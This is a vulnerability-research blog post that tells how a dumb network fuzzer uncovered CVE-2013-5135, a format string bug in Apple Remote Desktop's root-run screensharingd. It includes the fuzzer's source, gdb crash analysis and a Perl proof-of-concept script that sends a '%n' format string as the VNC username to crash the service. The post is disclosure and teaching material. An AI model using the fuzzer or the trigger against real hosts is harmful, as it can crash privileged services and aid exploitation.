Inspired by the Windows Remote Dektop bug (CVE-2012-0002) I created a simple network protocol fuzzer. This is a dumb fuzzer that only changes every single byte value from 0 to 255:
#!/usr/bin/python import socket import time import struct import string import sys init1 = ( "Sniffed network connection part 1" ) init2 = ( "Sniffed network connection part 2" ) init3= ( "Sniffed network connection part 3" ) act = init3 print len(act) for i in range(int(sys.argv[1]),len(act)): for j in range(0,256): try: hexa = string.atol(str(j)) buffer = struct.pack('<B',hexa) x = act[:i]+buffer+act[(i+len(buffer)):] s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect=s.connect(('192.168.1.4',5900)) # hardcoded IP address print str(i) + " " + str(j) s.send(init1) # send the data data = s.recv(1024) s.send(init2) # send the data data = s.recv(1024) s.send(x) # send the data data = s.recv(1024) s.close() time.sleep(1) except: j = j - 1 |
This approach may look especially dumb, since the Apple VNC protocol is encrypted and the changes made by the fuzzer on the bytes of the ciphertext would result in a disaster in the decrypted plaintext, but eventually this technique led to the discovery of the vulnerability. I ran this fuzzer and watched the log and the Crashreporter files. The /var/log/secure.log file contained the following lines:
Jan 14 14:52:14 computer screensharingd[26350]: Authentication: FAILED :: User Name: m?>H?iYiH3`'?? |
The /Library/Log/DiagnosticsReports/ directory also contained a lot of crash files. This meant two things: I found some interesting bug right now and the screensharingd runs with root permissions (the directory above is for the crash files of the privileged processes). The Crashwrangler said this is an unexploitable crash but I don't trust this tool blindly ;)
Let's look at the crash in the debugger:
bash-3.2# while true;do for i in $( ps aux | grep -i screensharingd | grep -v grep | awk '{print $2}');do gdb --pid=$i;done;done<br /> GNU gdb 6.3.50-20050815 (Apple version gdb-1822) (Sun Aug 5 03:00:42 UTC 2012) Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "x86_64-apple-darwin".No symbol table is loaded. Use the "file" command. /Users/depth/.gdbinit:2: Error in sourced command file: No breakpoint number 1. /Users/depth/30632: No such file or directory Attaching to process 30632. Reading symbols for shared libraries . done Reading symbols for shared libraries .......................................................................................................................................... done Reading symbols for shared libraries + done 0x00007fff89e8e67a in mach_msg_trap () (gdb) set follow-fork-mode child (gdb) c Continuing. Program received signal EXC_BAD_ACCESS, Could not access memory. Reason: KERN_INVALID_ADDRESS at address: 0x0000000000000002 [Switching to process 30632 thread 0x2b03] 0x00007fff8e2a0321 in __vfprintf () (gdb) i reg rax 0x2 2 rbx 0x10778ba5c 4420319836 rcx 0x37 55 rdx 0x10778a810 4420315152 rsi 0x7f9a22b00000 140299983650816 rdi 0x106926400 4405224448 rbp 0x10778aa40 0x10778aa40 rsp 0x10778a610 0x10778a610 r8 0x106926400 4405224448 r9 0x62 98 r10 0x1224892248900008 1307320572183576584 r11 0x10778aaa8 4420315816 r12 0xb 11 r13 0x38 56 r14 0x0 0 r15 0x6e 110 rip 0x7fff8e2a0321 0x7fff8e2a0321 <__vfprintf+3262> eflags 0x10246 66118 cs 0x2b 43 ss 0x0 0 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0 (gdb) x/s $rbx 0x10778ba5c: " :: Viewer Address: 172.16.29.147 :: Type: DH" |
This is very interresting. I assumed "*printf" error meant a common buffer overflow or a format string attack. Let's see the problematic function:
(gdb) bt #0 0x00007fff8e2a0321 in __vfprintf () #1 0x00007fff8e2ea270 in vasprintf_l () #2 0x00007fff8e2d9429 in asl_vlog () #3 0x00007fff8e27f7d4 in vsyslog () #4 0x00007fff8e27f879 in syslog () # Vulnerability here! #5 0x00000001075484df in _mh_execute_header () #6 0x0000000107521892 in _mh_execute_header () #7 0x0000000107532657 in _mh_execute_header () #8 0x000000010752d7c1 in _mh_execute_header () #9 0x00007fff87c46ce6 in PrivateMPEntryPoint () #10 0x00007fff8e2ab8bf in _pthread_start () #11 0x00007fff8e2aeb75 in thread_start () |
I fired up IDA Pro and looked for the invalid authentication chain of the screensharingd binary. First I searched for the "FAILED" keyword in order to find the subroutine of interest:
But it turns out that he "Authentication FAILED" string leads us to the interesting part of code:
This string is referenced by the sub_1000322a8 function:
I followed the cross reference to the "Authentication : FAILED" string:
Yes, here is the critical part of the binary (DH authentication is the current one based on the secure.log file):
The subroutine creates the syslog message properly with format strings but before calling the syslog() function it does not sanitize the username field and the attacker can perform a format string attack. The easiest way to check this assumption is to try to authenticate using the RDP client:
And check the secure.log file:
Great! :) This is a format string vulnerability in Apple Remote Desktop protocol. I spent a few days to investigate the vulnerability and write a working exploit with no success. The problems are:
- null bytes in the memory addresses (64 bit architecture)
- relative small buffer space (~2*64 bytes)
- non executable stack
If you have any ideas on the exploitation of the issue, do not hesitate share them with me! To help you get started I wrote a simple trigger script:
#!/usr/bin/perl # # For ARD (Apple Remote Desktop) authentication you must also specify a username. # You must also install Crypt::GCrypt::MPI and Crypt::Random # CVE: CVE-2013-5135 # Software: Apple Remote Desktop # Vulnerable version: < 3.7 use Net::VNC; $target = "192.168.1.4"; $password = "B"x64; #max 64 $a = "A"x32; # max 64 $payload = $a."%28\$n"; # CrashWrangler output-> is_exploitable=yes:instruction_disassembly=mov %ecx,(%rax):instruction_address=0x00007fff8e2a0321:access_type=write print "Apple VNC Server @ $target\n"; print "Check the /var/log/secure.log file ;) \n"; $vnc = Net::VNC->new({hostname => $target, username => $payload, password => $password}); $vnc->login; |
This was the whole story of CVE-2013-5135 from the beginning of 2013. Every bug hunting approach may be good way, so try something different than everybody else. Happy bug hunting!